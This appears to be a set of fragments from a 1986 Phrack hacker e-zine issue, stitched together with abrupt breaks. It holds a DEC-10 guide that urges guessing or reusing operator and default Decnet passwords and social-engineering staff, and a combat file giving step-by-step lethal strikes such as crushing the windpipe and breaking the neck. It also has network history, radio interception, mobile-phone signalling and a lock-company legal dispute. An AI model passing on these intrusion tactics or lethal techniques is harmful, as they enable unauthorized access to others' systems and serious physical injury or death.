Decnet. + + Now also if you make up a prived account, you should type- + +Help Phones + + At the main prompt. You will get a list of phone numbers including the system +operator's number and system managements. Now they are open usually from 10am +to 5pm. Call during those hrs. and ask them if you can have a Decsystem +timesharing guide. They will ask you questions like what's your name, PPN and +password so have that ready. If they ask you why didn't you already receive +one, just say you've just gotten a account and you were never informed about +the manual. + + This manual is very helpful. It will tell you commands, explain them in +detail, new features, games, etc. Don't order the manual the day you get your +account, wait maybe 4 days or so, then give them a call. They will usually send +it out the next day, unless they get lazy like most of the system operators do. +It's usually safe to have it sent to your house, but if you feel nervous well +get it sent to another place. + +[Mail Subsystem] + + Sometimes you may know of a friend who also has an account on the same Dec10 +you are on. Your friend may not be on the system right now, so that eliminates +sending messages to him. But there is 1 alternative which is to send mail. With +mail you need the person's name. To access mail type- + +Run Mail + + You will then receive the prompt 'MailC', at this prompt you type- + +MailC:Send + + Now you will be asked questions on who you want to send the mail to. It will +look something like this- + +.Run Mail +MailC:Send + +to:Death Hatchet +Subject:Disk Crash +Text: + +Yo! My file disk got ruined with //e Writer. See ya. + + Now when your finished with your text just type '.done' or '.d' on a blank +line to indicate that your finish. The Dec10 will reply by saying- + +Death Hatchet--Sent + +-and will return you to the 'MailC' prompt. Now if you wanted to send the same +message to two people you would do everything I did above except when it says +'to:' you would type- + +To:Death Hatchet,The Rico + + The only difference is the comma. You MUST have the comma separate the two +names in order for the system not to take it as one whole name. Once the mail +has been sent, the user Death Hatchet will receive it when he logs on. After he +gets the little welcome messages and his stats from when he last logged on, the +mail will automatically be read to him like this- + +From:Carrier Culprit Postmark:20-Mar-86-08:12:27 + to:Death Hatchet +Subject:Disk Crash + +Yo! My file disk got ruined with //e Writer. See ya. + + It will then read other pieces of mail if he has any more. If not, it will +just go to the main prompt. If you want to read the mail again, go to the mail +section and type 'read' instead of send. You will then be able to save it for +your next call or kill it. Sometimes mail won't show up when you first logon so +go to the mail section anyway and check just in case. + + On some of the older Dec10 systems mail was not used, you would just send a +message. Mail was added to the Dec10 system in the mid 70's. No big deal, but +just something to know. If you run mail and you don't get into the mail section +try 'run mai'. The 'run mai' is used on some of the earlier systems, but +usually the system acknowledges both. + + Never send violent mail to system operators, they will log you off and do away +with your account. If you do, I suggest having another account (PPN) on hand. +On some of the newer Dec10 systems, you can forward mail, which you do by +typing 'Frd Mail' at the 'MailC' prompt. The system will then ask you where you +want it forwarded to, their password, your password. The system operator views +this and checks with both parties and he/she will leave you mail saying that it +is done. This is really being tested but I've seen it in operation on some +Dec10's in 714. + +[Information] + + This is another handy command that can be used to your advantage. It gives you +information on jobs and PPN's. You don't get passwords but you can get some +good stats. If you type 'info' or 'help info' you will get a list that would +look something like this- +To look at one of the following do-- Info XXXX + + Switch Meaning + ====== ======= + . Information on your job + [??,??] Information on that PPN + ALL Information on all PPN's + ALL:LOPR Information on all Local Operator Jobs(1,2) + ALL:OPR Information on all Operator jobs (1,2) + ALL:ROPR Information on all Remote Operator jobs + ALL:Users Information on all users + Batch Information on all batch jobs + Detached:ALL Information on all Detached PPN'S + Detached:OPR Information on all Detached Operator jobs + Detached:Users Information on all Detached users + Detached:LOPR Information on all Local Operator jobs + + And the list goes on. If you want the whole list just type 'Help Info'. It +will also give info on disk devices, directories, and other stuff. Some of the +Dec10 systems don't support this, but you will find that most of them do. + + The '1,2' which is next to the Operators are system operator accounts. I +mentioned that before, so you won't get confused. Most files are kept under +this account so if you get in under it you'll have a lot to do....hehehe. + +[Watch] + + This command will show you your stats. You will be able to toggle it. You can +toggle it on which will display on the top of your screen or just look at it +once. The watch will show you- + +Run---which means your CPU time. +Wait--which means your elapsed time since started. +Read--number of disk blocks you have read. +Write--number of disk blocks you have written. + + If you have system privs, type- + +Watch[x,x] + + You can watch another person if you have these privs. It will also show you +information. Many operators use this so be careful in what you type. + +[Other commands] + + If you want to find out some information about someone type- + +Who Their name job# TTY + + Now I could do something like- + +Who Carrier Culprit 4 #7 + +This is saying that Carrier Culprit is logged in on job 4 and is on TTY #7. The +monitor will also display the user's PPN, and other information dealing with +his status on the system. +------------------------------------------------------------------------------- + Now if you notice one of your friend's are on TTY10 and you want to send him a +message you can type- + +Send TTY10 Congratulations on passing your exam + + The user on TTY10 will receive the message and may have the capability of +replying. You can also use this to meet new friends, especially a system +operator who is pretty cool and can give you some accounts, but don't count on +it. +------------------------------------------------------------------------------- + + If you would like to talk to someone one on one, you can type- + +Talk TTY10 + + You will now be able to talk to each other, chat, but like I said, watch what +you say sometimes, but don't get to paranoid that the system operator is +watching. Usually if the system operator is under 'Watch' or 'Exe' he may be +watching a certain user. This is just basically a chat system, so have fun with +it. +------------------------------------------------------------------------------- + + If you have a prived account go into 'enable' and type- + +Whostr + + This will give information about users logged in and the directories. +------------------------------------------------------------------------------- + + If you need the time, just type 'time'. If you have math homework just type +'aid' for desktop calculator. +------------------------------------------------------------------------------- + +Ctrl-characters Case Commands +=============== ============= +ctrl-s = pause If you support lower case type: +ctrl-q = resume 'Set Terminal LC' +ctrl-c = abort +ctrl-h = backspace + +------------------------------------------------------------------------------- + +[Decnet] + + Is supported by all Digital computers. To access it, type 'Decnet' and try to +hack out the password. Decnet supports such nodes as, VMS, TOPS10 (operating +system for Dec10's), TOPS20, and others. Usually system operator's accounts can +be helpful if you need a Decnet pw. Try their pw and see if it works. Usually +the password to Decnet can be plain old "Decnet". Format= Set Host xxxx + +[Acsnet] + + This is probably my favorite. This supports Dec10, and many other computers. +When you log on to it, it will look something like this- + +ACSNET +Fri Mar 13 19:30:23 1986 +Port ID: dialup C502 at 300 baud + +dialup C502 with even parity + +> + + Now to get a menu type '?'. It will give you a list of groupnames.

The information presented here will be very helpful to the beginner and +will also serve as a refresher for those of you already familiar with the +subject. + +I will start off by talking about basic things such as stance, what you should +and shouldn't do when fighting and other information that the beginner will +need to know. Then, I will give you a list of over 20 vulnerable points that +one should always try attacking in a fight along with the way these points +should be attacked. Finally, I will give you some more fighting tips and +information on how you can continue learning about hand-to-hand combat. + + ^*^ + +Now, let me discuss some of the basics you will need to know when you are in +any combat situation. + +Stance +------ +The best stance when confronting an enemy is to put your feet at shoulders +length apart and your arms should be facing forward, parallel to each other and +bent at the elbows. Keep your knees slightly bent and stand on the balls of +your feet. + +Remember, you always want to maintain this stance when you are not striking at +the enemy. + +Balance +------- +It is always important that you keep your balance. If you use the stance I have +described above, you will never have to worry about it. If by chance you do +lose your balance even for a second you can kiss your ass goodbye as the enemy +will probably kill you. + +Aggressiveness +-------------- +Always be aggressive and always attack. Don't just stand back and defend +yourself against the enemy's strikes as he will end up killing you eventually. +If you are not aggressive, the enemy will think you are scared and he will have +an advantage over you. + +A great thing to do is yell at the enemy. This will scare the shit out of him +if you start yelling at him and plus it also allows you to get more oxygen in +your lungs so you will have more strength. + +Natural Weapons +--------------- +Your natural weapons are as follows: knife edge of either hand, the heel of +your hands, your fingers folded at the second knuckle, your boot, your elbow, +your knees, your teeth, your fore finger and second finger forming a "V" shape, +and your fist. These body parts alone are some of the most powerful weapons you +can use. + + ^*^ + +Since you now know the basics of fighting, let me list for you the best places +where you should strike your enemy. + +Temple +------ +A sharp blow to the temple ensures instant death since there is a large artery +and nerve located close to the skin surface. If you give a medium blow to the +temple it will cause severe pain and concussion but a hard blow will kill the +enemy instantly. The best way to strike the temple is with the knife edge of +your hand or if he is on the ground you can kick him with the toe of your boot. + +Eyes +---- +The eyes are a great place to strike if you can since a good strike in the eyes +will cause temporary or permanent blindness. To blind the enemy, make a "V" +shape with your fore finger and second finger and stick them into his eyes +while keeping your fingers stiff. Also, you can gouge the eyes with your thumb. + +Nose +---- +The nose is another excellent place to attack. Hit the bridge with the knife +edge of your hand and you will cause breakage, severe pain, temporary blindness +and even death. Or you can use the palm of your hand to strike upwards and push +the nose up into his brain. If done hard enough the nose bone will puncture his +brain and he will die. + +Upper Lip +--------- +The upper lip contains a lot of nerves close to the skin surface so if you +strike it with the knife edge of your hand it will cause great pain and if +delivered hard enough he will become unconscious. + +Mouth +----- +If the enemy is on the ground, use the heel of your boot and strike him on the +mouth. Since there are a lot of veins and arteries in the teeth there will be a +lot of blood which will frighten the enemy and he will lose concentration on +defending other parts of his body. + +Chin +---- +The chin should only be struck with the palm of your hand as you can break your +fingers on the enemy's chin. Use the palm of your hand and strike the enemy +with a very strong upward blow. This will cause extreme discomfort. + +Adam's Apple +------------ +Usually the enemy will defend this part of his body well but if you do get the +chance give it a sharp hit with the knife edge of your hand. If you hit it hard +enough you will bust his windpipe and he will die. You can also squeeze the +Adam's Apple between your fingers. + +Esophagus +--------- +If you have a chance to get a hold of his neck, press your thumbs into his +esophagus (located below the Adam's Apple). Pushing hard will be very painful +and it will block the oxygen flow to his lungs and he will die quickly. + +Neck +---- +If you give a very strong blow to the base of the neck with the knife edge of +your hand you will usually break it. However, if it is not hard enough, the +enemy might just be knocked unconscious so be sure to hit him in the temple or +twist his neck around to be sure he is dead. The neck is the best place to hit +someone if you want to be quiet as it is quick and the enemy goes down without +a word. + +Collar Bone +----------- +The collar bone is an extremely sensitive part of the body. A sharp blow to it +with the knife edge of your hand or your elbow gives the enemy excruciating +pain. Also, digging your finger into the collar bone can bring your enemy to +his knees. + +Shoulder +-------- +The shoulder is easy dislocated and it takes little strength to do. However, it +should be done quickly. Grab the enemy's arm and pull it behind his back and +then jerk it upwards quickly. You should here a popping sound which means you +have dislocated the enemy's shoulder. There are other methods of doing this but +this is the easiest. + +Armpit +------ +Although it is hard to get at, the armpit has a large network of nerves. If the +enemy is on the ground, hold up his arm and then kick him in his pit. This will +cause severe pain. However, it is not a very common place that will be struck +in a fight but is good to keep in mind anyways. + +Rib Cage +-------- +A strike to the rib cage with your fingers folded at the second knuckle is +rather painful and if done hard enough causes severe pain and breakage. Only +use your fingers folded at the second knuckle since that hurts the most. + +Solar Plexus +------------ +The solar plexus is located on the chest at the little "V" shaped point where +the rib cage ends. There are a large amount of nerves so a blow with the +knuckle of your second finger can cause severe pain and even unconsciousness. + +Floating Ribs +------------- +The floating ribs are the lower ribs located at the front and sides of the +enemy's body. Use the knife edge of your hand or the heel or toe of your boot. +The blow will cause pain and will stun the enemy. + +Spine +----- +A blow to the spine with the heel of your boot can paralyze or kill your enemy. +The lower spine between the enemy's kidneys is the best place to hit as that is +the least protected part of the spine. You will only be able to attack the +spine when your enemy is on the ground or if his back is turned to you. + +Kidneys +------- +The kidneys have two large nerves that are close to the skin surface. If you +strike the kidneys hard it will cause death. You can use a fist or the knife +edge of your hand to hit the kidneys. Or a kick with the heel of your boot will +work too. + +Groin +----- +The groin is a good place to strike if you get the chance. Generally, the enemy +will protect this area the most but if you have a chance, strike it with your +knee in an upward motion or with your fist. I'm sure you can imagine the pain +the enemy will get from it. + +Tailbone +-------- +The tailbone which is located above the anus is a very sensitive part of the +body as a lot of spinal nerves are located there. Use the toe of your boot to +strike the tailbone. The pain from that is unbelievably severe. + +Elbow +----- +The elbow is easy to break or dislocate. Pull the enemy's arm behind him and +with the palm of your hand push his elbow inwards until it either cracks or +pops. When the enemy has a useless arm, you have a great advantage over him. + +Fingers +------- +The fingers should be broken because the enemy becomes almost helpless with +broken fingers. Grab the enemy's arm with one hand and with the other hand push +the fingers upwards until they snap. It is only necessary to break the first +two fingers. It is also helpful in breaking a grip. + +Knee +---- +You can destroy the knee by kicking it with the side of your boot in an upward +motion. This will rip the ligaments and the cartilage. This will cause +unbelievable pain and make it impossible for the enemy to move around. Once a +knee has been ruined, you will have a great advantage over the enemy. + +Ankle +----- +If the enemy is on the ground, get a hold of his ankle and twist it until it +snaps. This will make it almost impossible for him to walk and he will then be +easy to kill. + + ^*^ + +Let me talk about some more important things you should remember when you are +fighting somebody. + +Tactics +------- +Always try to throw your enemy off balance. You can do this by charging the +enemy and pretending to strike him. This will make him flinch and lose his +balance. + +Always look for a weak spot and attack it. Whenever he leaves a vulnerable part +of his body unprotected attack it with all your strength. By doing this, he +will then try to protect the part of his body that you just struck thus leaving +even more unprotected parts open. + +Use any available object that you can. By this I mean throw sand in his eyes, +block his strikes by hitting him with a large branch, or any other kind of +available material that can be used as a weapon against him. + +Foul Play +--------- +In a life or death situation there is no such thing as foul play and there are +no rules either. Although hitting someone in the groin is considered a cheap +shot in high school, it is a very effective way of destroying your enemy. Just +hit him where you can and kick him when he's down. That way, he will never get +back up again. + + ^*^ + +I have now explained to you the basics of fighting and the best places to +attack your enemy on his body. Just because you have read this file doesn't +mean you will be able to go out and kick somebody's ass in. These methods take +a lot of practice in order to do them properly. + +If you enjoyed this file and would like to practice these methods get a partner +who is also interested in this and work on each type of strike and kick. When +you first start out, go slowly and remember that these methods are deadly and +do not require much force to be effective so take it easy on your partner. + +Some of you may decide that practicing is not enough and you would like to +learn more than what I have told you in the above. Well, there are several good +books with illustrations on this subject which go into much more detail than I +ever could in this file. The book I used mainly to write this file was "The +Marine Corps Field Manual on Physical Security". You can get this book through +a good book store or if you happen to know a marine, he can get you a copy very +easily. + +There are also camps where you can go for 1-2 weeks to learn all sorts of +things like this such as firing weapons, detailed hand-to-hand combat, doing +raids on enemies and all sorts of other stuff like that. The instructors that +teach these programs are well trained and have had years of experience with +this. However, usually you have to be 18 years or older to get into these +programs and you have to be very serious about it as well. This is not one of +those programs where you can say "Time-out, I need to rest." They don't stop +just to suit you. To get more information about these programs, you can usually +find out about them in magazines like "Soldier of Fortune" and other magazines +with similar theme. + + ^*^ + +Well, that's it for now. Perhaps in the future I can discuss the fun stuff like +fighting people with knives and all the other lethal weapons you can use in a +fight. If you liked this file, let me know and I will continue on with this +subject. + +_______________________________________________________________________________ + + ==Phrack Inc.== + + Volume One, Issue Five, Phile #5 of 12 + +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ +@ _ _ _______ @ +@ | \/ | / _____/ @ +@ |_||_|etal / /hop @ +@ __________/ / @ +@ /___________/ @ +@ Private/AE/Brewery @ +@ @ +@ Presents: @ +@ @ +@ Digital Multiplex System (DMS) 100 @ +@ by @ +@ Knight Lightning @ +@ @ +@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ + +This file is of course about DMS 100.

These files +are NOT a hacker's tutorial/guide on these systems. + + ARPANET + ~~~~~~~ + ARPANET. The ARPANET, which is a major component of the NSFnet [National +Science Foundation Network], began in 1969 as an R&D project managed by DARPA +[Dept. of Defense Advanced Research Projects Agency]. ARPANET was an experiment +in resource sharing, and provided survivable (multiply connected), high +bandwidth (56 Kilobits per second) communications links between major existing +computational resources and computer users in academic, industrial, and +government research laboratories. ARPANET is managed and funded by by the DCA +[Defense Communications Agency] with user services provided by a network +information center at SRI International. + ARPANET served as a test for the development of advanced network protocols +including the TCP-IP protocol suite introduced in 1981. TCP-IP and +particularly IP, the internet protocol, introduced the idea of inter- +networking -- allowing networks of different technologies and connection +protocols to be linked together while providing a unified internetwork +addressing scheme and a common set of transport of application protocols. This +development allowed networks of computers and workstations to be connected to +the ARPANET, rather than just single-host computers. TCP-IP remain the most +available and advanced, non-vendor-specific, networking protocols and have +strongly influenced the current international standards of activity. TCP-IP +provide a variety of application services, including remote logon (Telnet), +file transfer (FTP), and electronic mail (SMTP and RFC822). + ARPANET technology was so successful that in 1982, the Dept. of Defense +(DOD) abandoned their AUTODIN II network project and adopted ARPANET technology +for the Dept. of Defense Data Network (DDN). The current MILNET, which was +split form the original ARPANET in 1983, is the operational, unclassified +network component of the DDN, while ARPANET remains an advanced network R&D +tested for DARPA. In practice, ARPANET has also been an operational network +supporting DOD, DOE [Dept. of Energy], and some NSF-sponsored computer science +researchers. This community has come to depend on the availability of the +network. Until the advent of NSFnet, access to ARPANET was restricted to this +community. + As an operational network in the scientific and engineering research +community, and with the increasing availability of affordable super- +minicomputers, ARPANET was used less as a tool for sharing remote computational +resources than it was for sharing information. The major lesson from the +ARPANET experience is that information sharing is a key benefit of computer +networking. Indeed it may be argued that many major advances in computer +systems and artificial intelligence are the direct result of the enhanced +collaboration made possible by ARPANET. + However, ARPANET also had the negative effect of creating a have--have not +situation in experimental computer research. Scientists and engineers carrying +out such research at institutions other than the twenty or so ARPANET sites +were at a clear disadvantage in accessing pertinent technical information and +in attracting faculty and students. + In October 1985, NSF and DARPA, with DOD support, signed a memorandum of +agreement to expand the ARPANET to allow NSF supercomputer users to use ARPANET +to access the NSF supercomputer centers and to communicate with each other. +The immediate effect of this agreement was to allow all NSF supercomputer users +on campuses with an existing ARPANET connection to use ARPANET. In addition, +the NSF supercomputer resource centers at the University of Illinois and +Cornell University are connected to ARPANET. In general, the existing ARPANET +connections are in departments of computer science or electrical engineering +and are not readily accessible by other researchers. However, DARPA has +requested that the campus ARPANET coordinators facilitate access by relevant +NSF researchers. + As part of the NSFnet initiative, a number of universities have requested +connection to ARPANET. Each of these campuses has undertaken to establish a +campus network gateway accessible to all due course, be able to use the ARPANET +to access the NSF supercomputer centers, from within their own local computing +environment. Additional requests for connection to the ARPANET are being +considered by NSF. + + CSNET + ~~~~~ +CSNET. Establishment of a network for computer science research was first +suggested in 1974, by the NSF advisory committee for computer science. The +objective of the network would be to support collaboration among researchers, +provide research sharing, and, in particular, support isolated researchers in +the smaller universities. + In the spring of 1980, CSNET [Computer Science Network], was defined and +proposed to NSF as a logical network made up of several physical networks of +various power, performance, and cost. NSF responded with a five year contract +for development of the network under the condition that CSNET was to be +financially self-supporting by 1986. Initially CSNET was a network with five +major components -- ARPANET, Phonenet (a telephone based message relaying +service), X25Net (suppose for the TCP-IP Protocol suite over X.25-based public +data networks), a public host (a centralized mail service), and a name server +(an online database of CSNET users to support transparent mail services). The +common service provided across all these networks is electronic mail, which is +integrated at a special service host, which acts as an electronic mail relay +between the component networks. Thus CSNET users can send electronic mail to +all ARPANET users and vice-versa. CSNET, with DARPA support, installed +ARPANET connections at the CSNET development sites at the universities of +Delaware and Wisconsin and Purdue University. + In 1981, Bolt, Beranek, and Newman (BBN) contracted to provide technical +and user services and to operate the CSNET Coordination and Information Center. +In 1983, general management of CSNET was assumed by UCAR [the Univ. Corporation +for Atmospheric Research], with a subcontract to BBN. Since then, CSNET has +grown rapidly and is currently an independent, financially stable, and +professionally managed service to the computer research community. However, +the momentum created by CSNET's initial success caused the broad community +support it now enjoys. More than 165 university, industrial, and government +computer research groups now belong to CSNET. + A number of lessons may be learned from the CSNET experience. +1) The network is now financially self-sufficient, showing that a research is +willing to pay for the benefits of a networking service. (Users pay usage +charges plus membership fees ranging from $2000 for small computer science +departments to $30,000 for the larger industrial members.) +2) While considerable benefits are available to researchers from simple +electronic mail and mailing list services -- the Phonenet service -- most +researchers want the much higher level of performance and service provided by +the ARPANET. +3) Providing a customer support and information service is crucial to the +success of a network, even (or perhaps especially) when the users are +themselves sophisticated computer science professionals. Lessons from the +CSNET experience will provide valuable input to the design, implementation, +provision of user services, and operation and management of NSFnet, and, in +particular, to the development of the appropriate funding model for NSFnet. + CSNET, with support from the NSFnet program, is now developing the CYPRESS +project which is examining ways in which the level of CSNET service may be +improved, at low cost, to research departments. CYPRESS will use the DARPA +protocol suite and provide ARPANET-like service on low-speed 9600-bit-per- +second leased line telephone links. The network will use a nearest neighbor +topology, modeled on BITNET, while providing a higher level of service to users +and a higher level of interoperability with the ARPANET. The CYPRESS project is +designed to replace or supplement CSNET use of the X.25 public networks, which +has proved excessively expensive. This approach may also be used to provide a +low-cost connection to NSFnet for smaller campuses. + +/ +\ +/ luggo !! + +Please give full credit for references to the following: +Dennis M.

I have +found news agencies, military computers, businesses, and even hacks. + The standard method of exchange is called RTTY (Radio Teletype). It +usually is used at 66/7 words per min. Instead of using ASCII, Baudot, a 5 bit +character set is more widely used. There are many variations of it in use also. + + There are many other types of transmission standards besides RTTY that are +commonly used. A few of the known: + + FAX (Facsimile) + + Helshcrieber- it's used to transmit pictogram-type alphabets (i.e. + Chinese, Jap, etc.) instead of the American letters. + + SSTV- is similiar to Viewdata. Used for transmitting high-resolution + pictures mixed with text. + + To start, you'll need to buy (card) a receiver (with a coverage of no less +than 500 kHz-30 MHz and a resolution greater than 100 Hz) and a high quality +antenna. These can usually be found at electronics stores. You will also need +to get an interface and some RTTY software for your particuliar computer. Look +in magazines like 'Amatuer Radio' or 'Ham Radio Today' for more information on +that shit. Another good place to check is a CB store. + + + + NEWS AGENCIES- + + From these you can find all sorts of crap. You may even intercept a story +being sent to the presses.

Mobile +telephone service is not as advanced as Cellular, and not as efficient. Mobile +telephone service limits the number of customers sharply, while Cellular is +designed to solve the problems of Mobile telephone service. + + The signals for Mobile communications are sent by high-power transmitters and +antennas that provide an area of approx. 20-30 miles with service. + + A base unit of a Mobile communications system transmits and receives on +different frequencies at the same time. Typical power for the radio base +station transmitter is 200-250 watts. + + Mobile telephone facilities tie in with the normal fixed-position telephone +system, however base units can be owned by a Radio Common Carrier (RCC). RCCs +running mobile telephone systems are charged by the telephone company for use +of the normal phone system. + +DIAGRAM: +-------- + ^-Base antenna Mobile unit + | | + |- - - - - - - - - /-- --\ + | ^Signal^ | (Car) | + --------------------------------------- + ^-------<-20-30 Miles->---| + ^ |-From + /===========\ | mobile + |Receiver/ | | antenna + |Transmitter| ============= + /===========\ |Receiver/ | |-| + |Control | |Transmitter|-|*| + |Terminal | ============= |-| + \===========/ ^ + | Handset + | <-Telephone + | <-Land line + | + ======= ======= + | C.O.| | C.O.|---[-*-] + ======= ======= |*| + | | ----- + | | Fixed + ========= ========= Phone + |Switch |--------------|Switch | + |Network| Transmission |Network| + ========= Link ========= + + --------------------------------------- +(Above diagram from 'Understanding Telephone Electronics' chapter 10.) + + As you can see from the above diagram, calls placed from the Fixed position +telephone are routed through a Central Office as normal, through a Switch +Network, to another Switch network, and to another CO. From the second CO +(nearest to the Mobile unit), the signals are sent on a telephone line to the +control terminal, to the receiver, then to the base unit (antenna). From the +base unit, the radio signals are sent to the site of the mobile telephone. + Calls from the mobile telephone operate in the same manner. An idle radio +channel is selected (like seizure of a trunk for a LD call) and the signals are +sent over the mobile network. + If no channel is available for use, then a busy indication is triggered +(similar to a re-order). If a channel is available, the customer will be +prompted with a dial tone, similar to normal fixed-position telephone service. + The area that this would work in is called the subscriber's home area. When a +mobile telephone service subscriber leaves the service area, he is then +referred to as a Roamer. Since the mobile unit is out of the service area, +special preparations have to be made to continue communications to/from that +mobile unit. + +SIGNALLING +---------- + Mobile signalling tones are selected (like touch tones) to avoid possible +reproduction of the signalling tone on the voice link, to cause a signalling +mistake. The IMTS (Improved Mobile Telephone Service) uses in band signalling +of tones from 1300Hz-2200Hz. Another method of signalling is the MTS (Mobile +Telephone System). MTS is older than IMTS, and MTS uses in band signalling of +tones from 600Hz-1500Hz, and some use 2805 Hz in manual operation. + +CALL COMPLETION +--------------- + In this instance, let's say a call is being placed from a normal telephone to +a Mobile unit. First off, the base station selects one idle channel and places +a 2000Hz idle tone on it. All on hook Mobile units active in that service area +find and lock onto the channel that carries the 2000Hz idle tone. Now each +Mobile unit listens for it's specific number on that channel. When an idle +channel becomes busy, a new channel is selected for use, and the process is +repeated. + Now the caller's call is sent through the telephone network the same way as a +normal telephone call. When this call reaches the control terminal, the +terminal seizes the already marked idle channel (with every on-hook mobile unit +listening to it) and applies a 1800Hz seize tone. This tone keeps other mobile +units from using it to complete other calls. The called number is outpulsed +over the base station transmitter at ten pulses per second, with idle tone +represented as a mark, and a seize-tone represented as a space. + Since every idle mobile unit is waiting on that channel, they compare the +number being outpulsed with their own number. If the first digit of the called +mobile unit is three, and a specific mobile unit 'listening' on the channel has +a first digit of four, it stops listening to that channel, and moves to the +next channel with 2000Hz applied. + When the mobile unit receives the correct destination number, all other +mobile units are no longer listening on that particular channel. When the 7 +digit number is received, the mobile supervisory unit turns on the mobile +transmitter and sends an acknowledgement signal (2150Hz guard tone) back to the +control terminal. If this signal isn't received in three seconds after +outpulsing, the seize tone is removed from that channel, and the call is +dropped. If the signal is received at the control terminal, then the mobile +phone will ring (standard two seconds on, four seconds off). If the mobile unit +being called doesn't answer in forty five seconds, the call is also dropped. + When the person answers the mobile phone and takes it off hook, the mobile +supervisory unit sends a connect tone of 1633Hz, for an answer signal. When +this is received by the control terminal, the ringing stops, and a voice path +between the two phones is established. When the mobile subscriber hangs up, a +disconnect signal is sent which consists of alternating disconnect/guard tone +(1336Hz and 2150Hz respectively) signals. Then the mobile unit begins searching +for another idle channel, and readies itself for more calls. + For an outgoing call placed by the Mobile subscriber, the mobile unit must +already be locked on the idle channel. If the unit is not, a warning light will +flash advising the user of the problem. This is similar to a re-order signal. + If the unit is already on an idle channel, the calling number will be sent to +the control terminal for billing purposes. + +CELLULAR TELEPHONES +------------------- + To improve over the problems of mobile telephone service such as low amount of +users, high price, etc. AT&T invented the Cellular Concept, or the AMPS +(Advanced Mobile Phone System). This is the cellular phone concept that is used +in major cities. Los Angeles, Ca. currently has the largest cellular +communication system in the world. + + Calls sent to cellular telephones are sent through the MTSO (Mobile +Telecommunications Switching Office). The MTSO handles all calls to and from +cellular telephones, and handles billing. + All incoming calls from the MTSO are sent to a Cell site in each cell, to the +actual cellular telephone. The major difference between mobile and cellular is +that cellular can use the same channel many more times than a mobile telephone +system can, providing more customers and making the service less expensive. + Once a vehicle goes out of range of one cell site, the signal is transferred +immediately, with no signal loss, to another cell site, where the call is +continued without interruption. This is called a Cellular hand-off. + Cellular communications areas are divided up into several cells, like a +honeycomb. + +DIAGRAM +------- + /---\ /---\ /---\ + / * \/ * \/ * \ + ==== |Cell ||Cell ||Cell | + |CO| | Site|| Site|| Site | + ==== /---\\ /\ /\ / + | / * \\---/ \---/ \---/ + | |Cell | /---\ /---\ + | | Site|/ * \/ * \ + | \ /|Cell ||Cell | + ====== \---/ | Site|| Site | + |MTSO| \ /\ / + ====== \---/ \---/ + + --------------------------------------- + More cell sites are used for the area they are needed for. The signals are +sent from the MTSO to the each cell site. So if you were travelling in the cell +site to the far left, the signal from the MTSO would be sent to that cell. As +you move, the signal is moved. + + Here is a quote from AT&T's Cellular Telephones pamphlet. + + 'AT&T cellular phone transmission sounds as good as your home and office +phone. Basically it's a simple concept. Each metropolitan area is divided into +sectors which form a honeycomb of cells. Each cell incorporates its own +transmitter and receiver which connects to the local phone network. + As you drive from cell to cell, sophisticated electronic equipment transfers +or 'hands off' the call to another cell site. This automatic sequence maintains +service quality throughout the conversation without interruption.' + + + I hope this file has been of some assistance to anyone who is curious about +the more technical aspects of the telephone system. + +References +---------- +Understanding Telephone Electronics-by Texas Instruments 1983 +TELE Magazine issues three and four +AT&T Mobile communications pamphlet +AT&T Cellular concept pamphlet + +-End of file- + 4/14/86 + + ==Phrack Inc.== + + Volume One, Issue Five, Phile #10 of 12 + +=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= + ///\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\\ +Metal Shop PRIVATE\\\ Phrack World News Issue 4 Part 1 ///_ _ _______ +Metal Shop AE \\\ ///| \/ | / _____/ +Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop + \\\ /// _________/ / +Present PWN IV \\\///\\ Knight Lightning //\\\/// /__________/ +-------------- \-^^^^^^-^^^^^^^^^-/ Triad +_______________________________________________________________________________ + +Phrack Inc.

I am substituting "Taran King" for Taran's +real name. +------------------------------------------------------------------------------- + March 26, 1986 + +Dear Mr. King, + This law firm is counsel to Master Lock Company. Our client has recently +been alerted to the dissemination through a Bulletin Board Computer Service +located at your address of information potentially damaging to its commercial +interests and business relationships. More particularly, we refer to the +publication by such computer service of instructions for picking combination +locks manufactured by Master Lock Company. + + We write to notify you of Master Lock Company's concern about the computer +service's actions and the seriousness with which it regards those actions. +Master Lock Company has every intention of preserving and protecting the +reputation and goodwill associated with its products and, if necessary, will +take every legal recourse available to it to do so. + + Under the present circumstances, however, our client would first like to +give you the opportunity to take measures to prevent activities that it can +only view as malicious both toward itself and toward its customers. We +therefore request that you see to the immediate and permanent cessation of the +actions described above. Your compliance with this request is all that is +required for an amicable resolution of this matter. + + Your cooperation will be much appreciated. + + + Very truly yours, + + Terrence J. Farrell +------------------------------------------------------------------------------- +This letter is of course talking about phile #6 of Phrack Issue I, entitled, +"How To Pick Master Locks". It was kinda funny but they even had a misspelled +word in their letter, that I corrected above. They sent it to Taran King in +certified mail, in which he had to sign for it. Taran has since responded with +the following letter: +------------------------------------------------------------------------------- + Dear Sirs, 4/1/86 + + My name is Taran King, as you so easily researched, and I used to run Metal +Shop, an electronic bulletin board system. I currently run a private line for +personal friends of mine, and if asked, I distribute "general files" for them. +The fact that I distributed the file is hardly the point. I merely obtained it +from the authors of the file and distributed it to other sources, who +apparently distributed it other places. If I am responsible for this file, I +believe you should find a number of other authors also. + + It is not only this file that you have written me about that the +information about the "secret" to picking Master locks is included in, but also +a number of other files that have been circulating for years. It is old +information, someone just re-published it. Although on this topic, I am not +well informed, I believe it is legal to print information on such a topic. We +do not condone the actions promoted by the files, but merely inform the public +on the topic of this. I hate to run on, but I wish to make my point as clearly +as possible. + If I, being one of the people it was passed through, am responsible for the +crime rate today of people picking Master, American, or any other company's +locks, then I believe anyone who has the file, or has read books should be +arrested on this. I believe Paladin Press publishes a number of books on this +topic. I have seen one of the "Picking Master Locks in 3-Easy Steps!" type +books and as far as I know, it's still in publication and distribution. + I hope I'm not sounding disrespectful or condescending, but it annoys me to +a great degree when I must be questioned by my father about a letter that has +come in the mail from a law firm in New York. Please expect a letter from him +inquiring upon the topic that you have written me on. If you wish to have +further discussion, feel free to call me at my voice line whenever you want to +at (314) XXX-XXXX. Don't play funny like you did with the letter and reverse +the charges or 